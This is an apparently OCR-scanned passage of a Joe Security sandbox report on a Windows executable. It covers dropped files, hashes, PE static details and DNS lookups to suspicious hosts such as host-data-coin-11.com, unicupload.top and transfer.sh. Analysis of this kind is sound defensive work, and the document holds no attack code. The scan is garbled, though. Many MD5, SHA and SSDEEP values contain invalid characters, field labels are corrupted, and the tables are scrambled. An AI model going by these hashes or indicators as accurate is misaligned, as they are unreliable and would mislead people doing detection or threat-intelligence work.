FFCAEEAB4E82DAC3439827D1C82AC5E3
8E34DAFCB42F51542A228DCDB44503DF6A7E0547
ABBOECDF1EBD3CAB4178A553A603F19DE34648C8BE59588FA43FCD4B5A6D1275

2FBE72891D4F3B500F3585F8B86A8201CC7E8D12EF239291666BA77BD2A3B4567CDB7EABDF70BA28ES56A7831DEF7FBF5852AECC394A3E7F4295AF4142624415
E

false

unknown

..@tzres..dll,.-21.2... .
.U.nistack.C.ircular..C.:\Us.ers\hardz\Ap.pD.atallL.o.cal
\p.acka.ges\ActiveSy.ncl\lLo.calState\D.iagO.utputD.ir\UnistackcC.ircular..e.tl

C:\Users\luser\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001.. (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.1126659102426852

false
12:wP+nBXm/Ey6q9995ulmK2P3gQ10nMCldimE8eawHzalmKTKJ:A+nsl68ALliPLyMCldzE9BHzalPC
C72E0BO5E2B039E1A3B24CA515D4574F

64C8987CC6805BE28ABOB6F99744DCB3A4F93CB8
6607B4185D7F456D1BE266E46FB25DF116A35EC948626B368532476468BBFAC3

146F1D4370B652A511163E97DAI09A3DE85A426876C62DECE0835E4D7DA06FFC26BE322B9B982C4A40CCIE7DO3D2DFDEAEOIS6E8BC13957CBCE2BAEICD3BE
49

false

unknown

..@tzres..dll,.-212..

l\.p.a.cl

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

273920

4.240472486386818

false

3072:thmSQkfm6USICPb69YfoDsILgIGPYyFMFhs:t3xe6PCzgSL2Rz
FO73B540A352759BB44D7A1EB641FE6GL
AF036E219B6E7D6551713AD406D816D9F88B4312
067E76900265C87D66A44F765BB720BD310E52181BADF19EFD63F30210F62001

6A1D3ESBFD0O7F6A4B4D052078F6E09F3C8FF26A553FBFEOA713F580DC7E8ASC73772BECB4DF82D614AEC6172C70F3986565F4BEFA0ACCB87BCF183C81C0C2(
6E

true

unknown

1..L.IThis program cannot be run in DOS mode....$..
Wi v @i ATTOE- TR

C:\Windows\explorer.exe

ASCII text, with CRLF line terminators
dropped

26

3.95006375643621

false

3:ggPYVIrPYV
187F488E27DB4AF347237FE461A079AD
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SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

6693BA299EC1881249D59262276A0D2CB21F8E64

255A65D30841AB4082BD9DOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237C0OC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
true

unknown

[ZoneTransfer]....Zoneld=0

C:\Windows\ServiceProfiles\NetworkService\AppDatalLocal\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220106_160807_384.etl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

8192

3.31478170160062

false
96:eCZkCB20+gY5009Nb2YAQCZz11216QkQ54DjT2NYFzrUMCRBJRW:dwXIb+2PZUCaw
7A551C61C8A203F92F1A016D62FD3F4F
E095B1439739239750A44FCDDDD71804A052CA38
DA2F8F8AF2A70FFBAA340E5857D57BEB11F97BB942C97D553A8D730BFOD96B70

F1FB51B78DBEDD879113F9FD3D9DFA929D0BA22B180E83146C052FAF8B81B67C475251B179BE1B2CC957DC890F30657A7DE2909E5C11682FC18D239B86B2DC
6

false

unknown

@.tzres.dll.-21.2. .
...@tzres.dll,.-21.1. 8.6.9.6.E.A.C.4.-1.288.-4.288.-A4EE.-49.EE43.1B.0.AD.9..C:\W.i.nd
.owsl\ServiceP.rofiles\Netw.orkS.ervicelApp.DatallLo.cal\Micros.o.ft\Windows\D.eliv.eryO.p.timizatio.n\Lo.gs\dos.v.c..2

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

el

Icon Hash:

PE32 executable (GUI) Intel 80386, for MS Windows

4.240472486386818

e Win32 Executable (generic) a (10002005/4)
99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

T5dzWoyBkt.exe

273920

f073b540a352759bb44d7aleb641fe6l
af036e219b6e7d6551713ad406d816d9f88b4312

067e76900265c87d66a44f765bb720bd310e52181badf1¢
efd63f30210f62001

6a1d3e5bfd07f6a4b4d052078f6e09f3c8ff26a553fhfe0a7
13f580dc7e8a5c73772bech4df82d614aec6172c70f3986
565f4bef40acch87bcf183c81cOc2c6e

3072:thmSQkim6USICPb69YfoDsILgIGPYFMFhs:3xe6
PCzgSL2Rz

.(=..60q..=..60".1=..60v.W=....
60d.)=..Rich(=.........ocoeus PE..L...%..".

8c8chcccce8888e7

Static PE Info

Copyright Joe Security LLC 2022 Page 26 of 83



General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name Virtual Address
text 0x1000

.rdata 0xd000

.data 0x31000

xelavu 0x276¢000

.rsrc 0x276d000
Resources

Imports

Version Infos
Possible Origin

Language of compilation system

French

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
01/06/22- ICMP 402
08:09:00.275965

0x401a27

text

false

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

TERMINAL_SERVER_AWARE

0x6099A925 [Mon May 10 21:44:05 2021 UTC]

o o0 o uu o u»

1d0a101d1d3bf7946ad14b8ea6724ff4

Virtual Size Raw Size Xored PE ZLIB Complexity
0xbc69 0xbe00 False 0.610074013158
0x23ba4 0x23c00 False 0.258433948864
0x273a6f4 0x8200 unknown unknown

0xbb8 0xc00 False 0.00813802083333
0xal68 0xa200 False 0.63777970679

Message

Country where language is spoken

Switzerland

ICMP Destination Unreachable Port Unreachable

Network Port Distribution

Copyright Joe Security LLC 2022

File Type

data

data

unknown

data

data

Entropy
6.70483303659

3.028968449

unknown

0.0

6.08608279891

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

Map

Source Dest
Port Port

Source IP  Dest IP
192.168.2.3 8.8.8.8

Page 27 of 83



TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 6, 2022 08:08:49.773644924 CET 192.168.2.3 8.8.8.8 Oxbc9a Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:08:50.269607067 CET 192.168.2.3 8.8.8.8 Oxa8el Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:08:50.432801962 CET 192.168.2.3 8.8.8.8 0x8b6a Standard query  privacytools- A (IP address) IN (0x0001)
(0) foryou-777.com

Jan 6, 2022 08:08:53.054218054 CET 192.168.2.3 8.8.8.8 0x7605 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:08:53.235223055 CET 192.168.2.3 8.8.8.8 0x24ef Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:08:53.725810051 CET 192.168.2.3 8.8.8.8 Oxa4ch5 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:08:54.177584887 CET 192.168.2.3 8.8.8.8 Ox6be Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:08:54.376283884 CET 192.168.2.3 8.8.8.8 Oxedc2 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:08:54.537091970 CET 192.168.2.3 8.8.8.8 0x616a Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:08:56.057929993 CET 192.168.2.3 8.8.8.8 Oxe5c7 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:08:56.227874994 CET 192.168.2.3 8.8.8.8 Oxdaee Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:08:56.399833918 CET 192.168.2.3 8.8.8.8 0x8654 Standard query  data-host-coin- A (IP address) IN (0x0001)
0) 8.com

Jan 6, 2022 08:08:59.031624079 CET 192.168.2.3 8.8.8.8 0x2a4 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:08:59.214972019 CET 192.168.2.3 8.8.8.8 Oxe413 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:00.256812096 CET 192.168.2.3 8.8.8.8 Oxe413 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:00.449371099 CET 192.168.2.3 8.8.8.8 0xe69f Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:00.738281012 CET 192.168.2.3 8.8.8.8 0x3816 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:00.940093040 CET 192.168.2.3 8.8.8.8 Ox21ba Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:01.113204956 CET 192.168.2.3 8.8.8.8 Ox73a4 Standard query  unicupload.top A (IP address) IN (0x0001)
)

Jan 6, 2022 08:09:01.451414108 CET 192.168.2.3 8.8.8.8 OxcOca Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:01.638812065 CET 192.168.2.3 8.8.8.8 Oxbc44 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:02.187547922 CET 192.168.2.3 8.8.8.8 Oxdcdc Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:02.344799042 CET 192.168.2.3 8.8.8.8 Oxdbc Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:02.517200947 CET 192.168.2.3 8.8.8.8 Ox3dea Standard query  data-host-coin- A (IP address) IN (0x0001)
(0) 8.com

Jan 6, 2022 08:09:04.917314053 CET 192.168.2.3 8.8.8.8 0x923b Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:05.114083052 CET 192.168.2.3 8.8.8.8 Oxa4d2 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:05.281938076 CET 192.168.2.3 8.8.8.8 Ox2cdf Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:05.451184034 CET 192.168.2.3 8.8.8.8 0x38b4 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:07.331021070 CET 192.168.2.3 8.8.8.8 Oxbbd5 Standard query file-file-host4.com A (IP address) IN (0x0001)
0

Jan 6, 2022 08:09:07.849245071 CET 192.168.2.3 8.8.8.8 0x253e Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:08.072669983 CET 192.168.2.3 8.8.8.8 0xa269 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 6, 2022 08:09:08.241058111 CET 192.168.2.3 8.8.8.8 0x2446 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:08.404843092 CET 192.168.2.3 8.8.8.8 0xb986 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Jan 6, 2022 08:09:10.361562967 CET 192.168.2.3 8.8.8.8 0x4dc7 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:10.543117046 CET 192.168.2.3 8.8.8.8 0x3elc Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:10.709453106 CET 192.168.2.3 8.8.8.8 0xd21d Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:31.896670103 CET 192.168.2.3 8.8.8.8 0x193d Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:53.602231026 CET 192.168.2.3 8.8.8.8 0x1761 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:53.779156923 CET 192.168.2.3 8.8.8.8 0x8166 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:54.943026066 CET 192.168.2.3 8.8.8.8 0x14c9 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:55.105401993 CET 192.168.2.3 8.8.8.8 Oxaf7a Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:55.266237974 CET 192.168.2.3 8.8.8.8 Oxac47 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:57.260879040 CET 192.168.2.3 8.8.8.8 0x2c92 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:57.436086893 CET 192.168.2.3 8.8.8.8 Oxecd4 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:57.611838102 CET 192.168.2.3 8.8.8.8 0xb264 Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:09:57.784885883 CET 192.168.2.3 8.8.8.8 0xd9a6 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:57.950381041 CET 192.168.2.3 8.8.8.8 0xc50a Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:58.120500088 CET 192.168.2.3 8.8.8.8 0x457f Standard query  bit.ly A (IP address) IN (0x0001)
(©)

Jan 6, 2022 08:09:58.323029041 CET 192.168.2.3 8.8.8.8 Oxa6fb Standard query  bitly.com A (IP address) IN (0x0001)
(©)

Jan 6, 2022 08:09:58.528887033 CET 192.168.2.3 8.8.8.8 0x3f6éc Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:58.694355965 CET 192.168.2.3 8.8.8.8 Oxe2eb Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:09:58.858818054 CET 192.168.2.3 8.8.8.8 0Oxd48b Standard query  data-host-coin- A (IP address) IN (0x0001)
0) 8.com

Jan 6, 2022 08:10:01.235379934 CET 192.168.2.3 8.8.8.8 0x3f2c Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:10:01.425959110 CET 192.168.2.3 8.8.8.8 0x1524 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:01.592101097 CET 192.168.2.3 8.8.8.8 0x3a03 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:01.784720898 CET 192.168.2.3 8.8.8.8 0x351d Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:10:01.947118998 CET 192.168.2.3 8.8.8.8 0xf83b Standard query  host-data-coin- A (IP address) IN (0x0001)
0) 11.com

Jan 6, 2022 08:10:02.130069017 CET 192.168.2.3 8.8.8.8 0xb3c9 Standard query  goo.su A (IP address) IN (0x0001)
)

Jan 6, 2022 08:10:03.032753944 CET 192.168.2.3 8.8.8.8 0x9519 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:03.193381071 CET 192.168.2.3 8.8.8.8 0x1536 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:03.424865961 CET 192.168.2.3 8.8.8.8 0x694c Standard query  transfer.sh A (IP address) IN (0x0001)
0

Jan 6, 2022 08:10:03.682684898 CET 192.168.2.3 8.8.8.8 0xfOch Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:03.851618052 CET 192.168.2.3 8.8.8.8 Oxadf4 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:04.075983047 CET 192.168.2.3 8.8.8.8 0x55¢c3 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:04.245608091 CET 192.168.2.3 8.8.8.8 0xf9e9 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:04.414717913 CET 192.168.2.3 8.8.8.8 0x8849 Standard query  f0616387.xsph.ru A (IP address) IN (0x0001)
0

Jan 6, 2022 08:10:06.433433056 CET 192.168.2.3 8.8.8.8 0x87ba Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com

Jan 6, 2022 08:10:06.673479080 CET 192.168.2.3 8.8.8.8 0xd8f3 Standard query  host-data-coin- A (IP address) IN (0x0001)
(0) 11.com
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Timestamp

Jan 6, 2022 08:10:06.952002048 CET

Jan 6, 2022 08:10:07.134074926 CET

Jan 6, 2022 08:10:10.273006916 CET

Jan 6, 2022 08:10:10.670497894 CET

Jan 6, 2022 08:10:10.873950958 CET

DNS Answers

Timestamp Source IP

Jan 6, 2022 8.8.8.8
08:08:50.084942102
CET

Jan 6, 2022 8.8.8.8
08:08:50.288064003
CET

Jan 6, 2022 8.8.8.8
08:08:50.749093056
CET

Jan 6, 2022 8.8.8.8
08:08:53.072724104
CET

Jan 6, 2022 8.8.8.8
08:08:53.522099972
CET

Jan 6, 2022 8.8.8.8
08:08:54.012377024
CET

Jan 6, 2022 8.8.8.8
08:08:54.196351051
CET

Jan 6, 2022 8.8.8.8
08:08:54.393287897
CET

Jan 6, 2022 8.8.8.8
08:08:54.557019949
CET

Jan 6, 2022 8.8.8.8
08:08:56.076359987
CET

Jan 6, 2022 8.8.8.8
08:08:56.246625900
CET

Jan 6, 2022 8.8.8.8
08:08:56.724785089
CET

Jan 6, 2022 8.8.8.8
08:08:59.048388004
CET

Jan 6, 2022 8.8.8.8
08:08:59.548051119
CET

Jan 6, 2022 8.8.8.8
08:09:00.275784016
CET

Jan 6, 2022 8.8.8.8
08:09:00.468333960
CET

Jan 6, 2022 8.8.8.8
08:09:00.756992102
CET

Jan 6, 2022 8.8.8.8
08:09:00.956773996
CET

Jan 6, 2022 8.8.8.8
08:09:01.404129982
CET

Jan 6, 2022 8.8.8.8
08:09:01.470120907
CET

Jan 6, 2022 8.8.8.8
08:09:01.977137089
CET
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Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxbc9a

Oxa8el

0x8b6a

0x7605

0x24ef

Oxa4c5

Ox6be

Oxedc2

0x616a

0xe5c¢7

Oxdaee

0x8654

Ox2a4

Oxe413

Oxe413

0xe69f

0x3816

0x21ba

0x73a4

OxcOca

Oxbc44

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0x4426

Oxef34

0xe807

Ox5a71

Oxcé4cf

Name

host-data-coin-
11.com

host-data-coin-
11.com

privacytools-
foryou-777.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

unicupload.top

host-data-coin-
11.com

host-data-coin-
11.com

OP Code
Standard query
0

Standard query
(0

Standard query
(0

Standard query
(0

Standard query
0

CName

Name

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

Address

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

54.38.220.85

139.28.222.172

139.28.222.172

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Jan 6, 2022
08:09:02.204658031
CET

Jan 6, 2022
08:09:02.363394976
CET

Jan 6, 2022
08:09:02.831697941
CET

Jan 6, 2022
08:09:04.935806990
CET

Jan 6, 2022
08:09:05.132905006
CET

Jan 6, 2022
08:09:05.300684929
CET

Jan 6, 2022
08:09:05.467798948
CET

Jan 6, 2022
08:09:07.662143946
CET

Jan 6, 2022
08:09:07.867229939
CET

Jan 6, 2022
08:09:08.092123032
CET

Jan 6, 2022
08:09:08.261215925
CET

Jan 6, 2022
08:09:08.425640106
CET

Jan 6, 2022
08:09:08.425640106
CET

Jan 6, 2022
08:09:08.425640106
CET

Jan 6, 2022
08:09:08.425640106
CET

Jan 6, 2022
08:09:08.425640106
CET

Jan 6, 2022
08:09:10.380469084
CET

Jan 6, 2022
08:09:10.563436031
CET

Jan 6, 2022
08:09:10.727596998
CET

Jan 6, 2022
08:09:32.216305017
CET

Jan 6, 2022
08:09:53.621403933
CET

Jan 6, 2022
08:09:53.797442913
CET

Jan 6, 2022
08:09:54.961862087
CET

Jan 6, 2022
08:09:55.124134064
CET

Jan 6, 2022
08:09:55.285273075
CET

Jan 6, 2022
08:09:57.278510094
CET

Copyright Joe Security LLC 2022

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxdcdc

Oxdbc

Ox3dea

0x923b

Oxadd2

Ox2cdf

0x38b4

0xbbd5

0x253e

0xa269

0x2446

0xb986

0xb986

0xb986

0xb986

0xb986

0x4dc7

0x3elc

Oxd21d

0x193d

0x1761

0x8166

0x14c9

Oxaf7a

Oxac47

0x2c92

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

file-file-host4.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

Address
139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

162.159.133.233

162.159.135.233

162.159.134.233

162.159.129.233

162.159.130.233

139.28.222.172

139.28.222.172

94.103.94.64

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

139.28.222.172

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp

Jan 6, 2022
08:09:57.454499960
CET

Jan 6, 2022
08:09:57.628452063
CET

Jan 6, 2022
08:09:57.803719997
CET

Jan 6, 2022
08:09:57.967550039
CET

Jan 6, 2022
08:09:58.137274027
CET

Jan 6, 2022
08:09:58.137274027
CET

Jan 6, 2022
08:09:58.339804888
CET

Jan 6, 2022
08:09:58.339804888
CET

Jan 6, 2022
08:09:58.548837900
CET

Jan 6, 2022
08:09:58.711149931
CET

Jan 6, 2022
08:09:59.185905933
CET

Jan 6, 2022
08:10:01.254184961
CET

Jan 6, 2022
08:10:01.442651987
CET

Jan 6, 2022
08:10:01.610925913
CET

Jan 6, 2022
08:10:01.803586006
CET

Jan 6, 2022
08:10:01.965749025
CET

Jan 6, 2022
08:10:02.152925014
CET

Jan 6, 2022
08:10:02.152925014
CET

Jan 6, 2022
08:10:03.049554110
CET

Jan 6, 2022
08:10:03.210486889
CET

Jan 6, 2022
08:10:03.443460941
CET

Jan 6, 2022
08:10:03.702063084
CET

Jan 6, 2022
08:10:03.871119022
CET

Jan 6, 2022
08:10:04.094362974
CET

Jan 6, 2022
08:10:04.264045000
CET

Jan 6, 2022
08:10:04.485018015
CET

Copyright Joe Security LLC 2022

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxecd4

0xb264

0xd9a6

Oxc50a

0x457f

0x457f

